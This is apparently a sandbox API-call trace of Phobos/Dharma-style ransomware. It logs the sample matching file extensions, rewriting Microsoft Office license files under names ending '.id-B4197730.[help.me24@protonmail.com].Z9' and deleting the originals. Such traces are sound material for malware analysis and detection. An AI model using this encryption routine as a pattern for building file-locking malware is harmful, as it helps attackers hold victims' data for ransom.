	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.230] lstrlenW (lpString=".doc") returned 4
	[0175.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString=".docx") returned 5
	[0175.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.230] lstrlenW (lpString=".pdf") returned 4
	[0175.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString=".xls") returned 4
	[0175.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString=".xlsx") returned 5
	[0175.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.230] lstrlenW (lpString=".ppt") returned 4
	[0175.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.230] lstrlenW (lpString=".zip") returned 4
	[0175.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.231] lstrlenW (lpString=".rar") returned 4
	[0175.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.231] lstrlenW (lpString=".bz2") returned 4
	[0175.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.231] lstrlenW (lpString=".7z") returned 3
	[0175.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.231] lstrlenW (lpString=".dbf") returned 4
	[0175.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.231] lstrlenW (lpString=".1cd") returned 4
	[0175.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.231] lstrlenW (lpString=".jpg") returned 4
	[0175.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.231] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.231] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29
	[0175.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.232] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=4392) returned 1
	[0175.232] CloseHandle (hObject=0x548) returned 1
	[0175.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220
	[0175.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.233] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.233] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0175.233] GetLastError () returned 0x0
	[0175.233] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1128, lpOverlapped=0x0) returned 1
	[0175.235] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0175.236] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.236] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.236] SetEndOfFile (hFile=0x444) returned 1
	[0175.236] CloseHandle (hObject=0x444) returned 1
	[0175.236] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.236] SetEndOfFile (hFile=0x548) returned 1
	[0175.239] CloseHandle (hObject=0x548) returned 1
	[0175.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1
	[0175.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.240] lstrlenW (lpString=".doc") returned 4
	[0175.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.240] lstrlenW (lpString=".docx") returned 5
	[0175.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.240] lstrlenW (lpString=".pdf") returned 4
	[0175.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.240] lstrlenW (lpString=".xls") returned 4
	[0175.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.240] lstrlenW (lpString=".xlsx") returned 5
	[0175.240] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.240] lstrlenW (lpString=".ppt") returned 4
	[0175.240] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.240] lstrlenW (lpString=".zip") returned 4
	[0175.241] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString=".rar") returned 4
	[0175.241] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString=".bz2") returned 4
	[0175.241] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString=".7z") returned 3
	[0175.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.241] lstrlenW (lpString=".dbf") returned 4
	[0175.241] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.241] lstrlenW (lpString=".1cd") returned 4
	[0175.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.241] lstrlenW (lpString=".jpg") returned 4
	[0175.241] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.241] lstrlenW (lpString=".doc") returned 4
	[0175.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString=".docx") returned 5
	[0175.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.241] lstrlenW (lpString=".pdf") returned 4
	[0175.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.241] lstrlenW (lpString=".xls") returned 4
	[0175.242] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString=".xlsx") returned 5
	[0175.242] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.242] lstrlenW (lpString=".ppt") returned 4
	[0175.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.242] lstrlenW (lpString=".zip") returned 4
	[0175.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString=".rar") returned 4
	[0175.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString=".bz2") returned 4
	[0175.242] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString=".7z") returned 3
	[0175.242] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.242] lstrlenW (lpString=".dbf") returned 4
	[0175.242] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.242] lstrlenW (lpString=".1cd") returned 4
	[0175.242] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0175.242] lstrlenW (lpString=".jpg") returned 4
	[0175.242] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.242] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.242] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25
	[0175.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.244] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=4208) returned 1
	[0175.244] CloseHandle (hObject=0x548) returned 1
	[0175.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220
	[0175.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.244] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.244] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0175.245] GetLastError () returned 0x0
	[0175.245] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1070, lpOverlapped=0x0) returned 1
	[0175.967] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1080, lpOverlapped=0x0) returned 1
	[0175.980] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.980] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x106, lpOverlapped=0x0) returned 1
	[0175.980] SetEndOfFile (hFile=0x444) returned 1
	[0175.980] CloseHandle (hObject=0x444) returned 1
	[0175.980] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.980] SetEndOfFile (hFile=0x548) returned 1
	[0175.988] CloseHandle (hObject=0x548) returned 1
	[0175.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1
	[0175.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.989] lstrlenW (lpString=".doc") returned 4
	[0175.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.990] lstrlenW (lpString=".docx") returned 5
	[0175.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.990] lstrlenW (lpString=".pdf") returned 4
	[0175.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.990] lstrlenW (lpString=".xls") returned 4
	[0175.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.990] lstrlenW (lpString=".xlsx") returned 5
	[0175.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.990] lstrlenW (lpString=".ppt") returned 4
	[0175.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.992] lstrlenW (lpString=".zip") returned 4
	[0175.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.992] lstrlenW (lpString=".rar") returned 4
	[0175.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.992] lstrlenW (lpString=".bz2") returned 4
	[0175.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.992] lstrlenW (lpString=".7z") returned 3
	[0175.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.993] lstrlenW (lpString=".dbf") returned 4
	[0175.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.993] lstrlenW (lpString=".1cd") returned 4
	[0175.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.993] lstrlenW (lpString=".jpg") returned 4
	[0175.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.993] lstrlenW (lpString=".doc") returned 4
	[0175.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString=".docx") returned 5
	[0175.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.993] lstrlenW (lpString=".pdf") returned 4
	[0175.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString=".xls") returned 4
	[0175.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString=".xlsx") returned 5
	[0175.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.993] lstrlenW (lpString=".ppt") returned 4
	[0175.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.993] lstrlenW (lpString=".zip") returned 4
	[0175.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString=".rar") returned 4
	[0175.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString=".bz2") returned 4
	[0175.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.993] lstrlenW (lpString=".7z") returned 3
	[0175.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.994] lstrlenW (lpString=".dbf") returned 4
	[0175.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.994] lstrlenW (lpString=".1cd") returned 4
	[0175.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0175.994] lstrlenW (lpString=".jpg") returned 4
	[0175.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.994] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.994] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27
	[0175.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.995] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11574) returned 1
	[0175.995] CloseHandle (hObject=0x548) returned 1
	[0175.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220
	[0175.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.996] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.996] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0175.997] GetLastError () returned 0x0
	[0175.997] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0175.999] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0176.000] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.000] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0176.001] SetEndOfFile (hFile=0x444) returned 1
	[0176.001] CloseHandle (hObject=0x444) returned 1
	[0176.001] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.001] SetEndOfFile (hFile=0x548) returned 1
	[0176.004] CloseHandle (hObject=0x548) returned 1
	[0176.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1
	[0176.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.006] lstrlenW (lpString=".doc") returned 4
	[0176.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString=".docx") returned 5
	[0176.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.006] lstrlenW (lpString=".pdf") returned 4
	[0176.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString=".xls") returned 4
	[0176.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString=".xlsx") returned 5
	[0176.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.006] lstrlenW (lpString=".ppt") returned 4
	[0176.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.006] lstrlenW (lpString=".zip") returned 4
	[0176.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString=".rar") returned 4
	[0176.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString=".bz2") returned 4
	[0176.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.006] lstrlenW (lpString=".7z") returned 3
	[0176.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.007] lstrlenW (lpString=".dbf") returned 4
	[0176.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.007] lstrlenW (lpString=".1cd") returned 4
	[0176.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.007] lstrlenW (lpString=".jpg") returned 4
